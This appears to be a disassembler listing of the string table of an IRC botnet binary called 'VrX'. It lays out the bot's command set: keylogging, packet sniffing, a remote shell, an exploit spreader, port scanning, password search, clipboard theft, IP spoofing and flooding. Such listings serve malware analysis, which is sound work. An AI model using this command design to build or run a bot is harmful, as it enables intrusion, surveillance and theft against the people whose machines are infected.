aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+4825o align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+480Eo aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+47F7o align 10h aM: ; DATA XREF: sub_401ACD+47E0o ; ___:004387D8o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+47B2o align 4 aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+479Bo align 10h aA: ; DATA XREF: sub_401ACD+4784o unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+476Do align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+473Fo aAa db 'aa',0 ; DATA XREF: sub_401ACD+4728o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4711o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+46FAo align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+46E3o aGh db 'gh',0 ; DATA XREF: sub_401ACD+46BAo align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+46A3o unk_42B25C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406163o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42B278 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406159o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+465Bo ; sub_409909+5F0o align 4 unk_42B2A4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40611Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42B2C4 db 2Dh ; - ; DATA XREF: sub_401ACD+4646o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42B2E4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406091o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42B304 db 2Dh ; - ; DATA XREF: sub_401ACD+45BAo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 4 aShare db 'share',0 ; DATA XREF: sub_401ACD+4567o align 10h aContinue db 'continue',0 ; DATA XREF: sub_401ACD+4527o align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+450Fo align 4 unk_42B344 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405FB9o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42B364 db 2Dh ; - ; DATA XREF: sub_401ACD+44E2o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+44ABo align 10h unk_42B390 db 2Dh ; - ; DATA XREF: sub_401ACD+4478o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4454o aStop db 'stop',0 ; DATA XREF: sub_401ACD+4426o ; sub_401ACD+443Do ... align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+440Fo align 4 aKeyloger db 'keyloger',0 ; DATA XREF: sub_401ACD+43F8o align 4 dword_42B3E8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405EB8o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42B408 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43E1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 10h dword_42B440 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43B3o aFailedToSta_13 db '- Failed to start server, error: <%d>.',0 align 4 dword_42B474 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4366o aServerRunnin_0 db '- Server running on Port: 113.',0 align 10h dword_42B4A0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4356o aAlreadyRunning db '- Already running.',0 align 10h aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4325o align 4 unk_42B4C8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DE5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoVrxSnifferTh db '- No VrX sniffer thread found.',0 unk_42B4F4 db 2Dh ; - ; DATA XREF: sub_401ACD+430Eo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0 unk_42B530 db 2Dh ; - ; DATA XREF: sub_401ACD+42E0o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B56C db 2Dh ; - ; DATA XREF: sub_401ACD+4271o db 3, 34h, 2 db 53h ; S db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxPacketSniff db '- VrX packet sniffer active.',0 align 4 unk_42B598 db 2Dh ; - ; DATA XREF: sub_401ACD+420Ao db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_0 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41D5o dword_42B5C0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C95o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B5EC dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+41BEo aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 4 dword_42B628 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4190o aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B664 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4121o aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B694 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40BAo aAlreadyRunni_1 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+409Ao ; sub_401ACD+41EAo ... align 4 aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+4085o align 10h aRf db 'rf',0 ; DATA XREF: sub_401ACD+406Eo align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4057o align 10h aCm db 'cm',0 ; DATA XREF: sub_401ACD+4040o align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4029o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+4012o align 10h aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FFBo aV: ; DATA XREF: sub_401ACD+3FE4o ; ___:004387CCo ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FCDo align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FB6o align 4 aList db 'list',0 ; DATA XREF: sub_401ACD+3F9Fo align 10h aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F88o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F5Ao aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F43o ; sub_401ACD+453Fo align 10h aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F2Co align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F15o align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EFEo align 10h aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE7o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ED0o align 10h aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA2o align 4 aO: ; DATA XREF: sub_401ACD+3E74o ; ___:00438AFCo unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E5Do ; sub_401ACD+583Ao ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E46o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E2Fo align 10h aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E18o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E01o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DEAo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DD3o align 10h aK: ; DATA XREF: sub_401ACD+3DBCo unicode 0, <k>,0 aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DA5o align 10h aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D77o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D60o align 4 aJ: ; DATA XREF: sub_401ACD+3D32o unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D04o ; ___:004387D4o ... unicode 0, <n>,0 unk_42B790 db 2Dh ; - ; DATA XREF: sub_401ACD+3CCFo db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C3Do align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3BE2o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B0Do dword_42B7F0 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AB7o ; sub_401ACD+3AF2o dd 0 dword_42B808 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3A7Co dd 1 dword_42B820 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A41o ; sub_401ACD+3B62o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+39ECo align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3951o ; sub_401ACD+3991o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+38F7o align 4 aMsg db 'msg',0 ; DATA XREF: sub_401ACD+3802o aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+37BDo aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+36B5o ; sub_401ACD+3CEDo align 4 dword_42B868 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+369Ao dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B890 dd 636364h ; DATA XREF: sub_401ACD+361Do dword_42B894 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o dword_42B8A0 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+34ABo ; sub_401ACD+3712o ... dword_42B8A8 dd 69257325h, 0 ; DATA XREF: sub_401ACD+3490o ; sub_40AAAC+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+344Fo align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3434o ; sub_401ACD+3520o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+340Do align 10h aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+33F2o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+33D0o ; sub_401ACD+3D49o align 10h aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+33B5o ; sub_401ACD+34F4o ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+3393o ; sub_401ACD+3D1Bo align 10h aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+3378o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3329o ; sub_401ACD+47C9o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+330Eo align 4 aNt db 'nt',0 ; DATA XREF: sub_401ACD+32BFo align 4 dword_42B918 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32A4o dword_42B92C dd 7463h ; DATA XREF: sub_401ACD+3255o dword_42B930 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao ; sub_401ACD+385Co ... dword_42B940 dd 5Fh ; DATA XREF: sub_401ACD+320Bo ; sub_401ACD+3275o ... dword_42B944 dd 6D70h ; DATA XREF: sub_401ACD+31EBo ; sub_401ACD+4756o unk_42B948 db 2Dh ; - ; DATA XREF: sub_401ACD+31BBo db 3, 34h, 2 db 56h ; V db 72h, 58h, 20h db 46h ; F db 6Ch, 2 dup(6Fh) db 64h ; d db 2, 3, 2Dh aSClonesLoadedT db ' %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401ACD+3164o align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3143o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+312Co align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3115o aRin db 'rin',0 ; DATA XREF: sub_401ACD+30FEo aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+30E7o align 10h unk_42B9B0 db 2Dh ; - ; DATA XREF: sub_401ACD+30DAo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 10h unk_42B9F0 db 2Dh ; - ; DATA XREF: sub_401ACD+3068o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 10h aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+2FE1o unk_42BA28 db 2Dh ; - ; DATA XREF: sub_401ACD+2FC5o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42BA54 db 2Dh ; - ; DATA XREF: sub_401ACD+2FA7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2F83o align 4 unk_42BA94 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4049F7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_4049D9o ; sub_401ACD+3F71o unk_42BAD0 db 3 ; DATA XREF: sub_401ACD+2E9Ao a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0 align 4 unk_42BAFC db 3 ; DATA XREF: sub_401ACD+2E8Fo a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0 align 4 dword_42BB28 dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401ACD+2E3Ao unk_42BB38 db 3 ; DATA XREF: sub_401ACD:loc_4048F8o a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-' db 'Hackers.com).',0 dword_42BB88 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E08o aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42BBC4 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2D8Eo dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2D88o align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2D81o align 4 unk_42BBF8 db 2Dh ; - ; DATA XREF: sub_401ACD+2D0Ao db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BC38 db 2Dh ; - ; DATA XREF: sub_401ACD+2C86o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42BC64 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C04o aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0 align 10h dword_42BCA0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2B95o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42BCC8 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2AE2o dword_42BCD8 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo dword_42BCE4 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo dword_42BCF4 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2AC5o unk_42BD04 db 3 ; DATA XREF: sub_401ACD+2A52o a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o ; sub_401ACD:loc_409570o ... align 4 unk_42BD34 db 3 ; DATA XREF: sub_401ACD+2A30o a81VrxDisconnec db '8,1-VrX- Disconnecting.',0 align 10h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo ; sub_401ACD+78C1o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo align 4 unk_42BD84 db 3 ; DATA XREF: sub_401ACD+29D4o a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0 align 10h unk_42BDB0 db 3 ; DATA XREF: sub_401ACD+2995o a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0 align 4 unk_42BDC8 db 2Dh ; - ; DATA XREF: sub_401ACD+2986o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BE04 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+2917o dd 65726874h, 2E736461h, 0 dword_42BE24 dd 627573h ; DATA XREF: sub_401ACD+28F1o unk_42BE28 db 3 ; DATA XREF: sub_401ACD+289Fo a81VrxAliasList db '8,1-VrX- Alias list.',0 align 10h unk_42BE40 db 2Dh ; - ; DATA XREF: sub_401ACD+2884o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0 dword_42BE78 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2815o dd 2E676Fh unk_42BE90 db 3 ; DATA XREF: sub_401ACD+276Do a81VrxNetworkIn db '8,1-VrX- Network Info.',0 unk_42BEA8 db 3 ; DATA XREF: sub_401ACD+273Eo a81VrxSystemInf db '8,1-VrX- System Info.',0 align 10h unk_42BEC0 db 3 ; DATA XREF: sub_401ACD+26E9o a81VrxRemovingB db '8,1-VrX- Removing Bot.',0 unk_42BED8 db 2Dh ; - ; DATA XREF: sub_401ACD+26CDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42BF14 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+2658o dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+2638o align 4 unk_42BF38 db 2Dh ; - ; DATA XREF: sub_401ACD+25D9o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_2 db ' Already running.',0 align 4 unk_42BF58 db 3 ; DATA XREF: sub_401ACD+2588o a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0 align 10h unk_42BF70 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F8Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 10h unk_42BF90 db 2Dh ; - ; DATA XREF: sub_401ACD+24B6o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BFB8 db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 unk_42BFE4 db 3 ; DATA XREF: sub_401ACD+2484o a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0 align 10h dword_42C000 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+2456o dd 2Dh unk_42C018 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F13o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42C044 db 2Dh ; - ; DATA XREF: sub_401ACD+243Fo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42C068 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE8o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42C094 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE1o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 10h unk_42C0C0 db 2Dh ; - ; DATA XREF: sub_401ACD+240Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42C0E4 db 2Dh ; - ; DATA XREF: sub_401ACD+23BAo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0 align 10h unk_42C120 db 2Dh ; - ; DATA XREF: sub_401ACD+234Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42C15C db 2Dh ; - ; DATA XREF: sub_401ACD+2265o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C198 db 2Dh ; - ; DATA XREF: sub_401ACD+21FAo ; sub_40BD91+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42C1D4 db 2Dh ; - ; DATA XREF: sub_401ACD+20F3o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42C210 db 2Dh ; - ; DATA XREF: sub_401ACD+2084o ; sub_40BD91+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42C244 db 2Dh ; - ; DATA XREF: sub_401ACD+1FCFo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 unk_42C264 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403A86o db 3, 34h, 2 db 4Dh ; M db 61h, 2 dup(53h) db 20h db 53h, 63h, 41h db 6Eh ; n db 2, 3, 2Dh aFailedToSta_25 db ' Failed to start scan, port is invalid.',0 unk_42C29C db 2Dh ; - ; DATA XREF: sub_401ACD+1F6Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42C2D8 db 2Dh ; - ; DATA XREF: sub_401ACD+1EFBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1ED0o ; sub_401ACD+5B20o align 10h aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1EC9o ; sub_401ACD+5B19o align 4 dword_42C358 dd 234032Dh, 3025A56h ; DATA XREF: sub_401ACD+1D0Fo aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 align 4 unk_42C394 db 2Dh ; - ; DATA XREF: sub_401ACD+1CB2o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0 unk_42C3D0 db 2Dh ; - ; DATA XREF: sub_401ACD+1C38o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1BEFo align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1BDEo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1BC8o aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1BB1o align 4 aAs db 'as',0 ; DATA XREF: sub_401ACD+1B9Co align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1B87o unk_42C450 db 3 ; DATA XREF: sub_401ACD+1B37o a81VrxCrashingB db '8,1-VrX- Crashing bot.',0 aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401ACD+1B21o ; sub_401ACD+1B71o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B0Co align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1AF7o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1AE2o align 10h aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1ACDo align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1AB8o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1AA3o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1A8Eo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1A79o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1A64o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1A4Fo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A3Ao align 10h aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A25o align 4 aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A10o align 10h aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+19FBo unk_42C4F8 db 2Dh ; - ; DATA XREF: sub_401ACD+19BDo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+19A2o ; sub_401ACD+3C81o ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+198Eo align 4 unk_42C52C db 3 ; DATA XREF: sub_401ACD+196Eo a81VrxLoginList db '8,1-VrX- Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1939o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_4033F9o 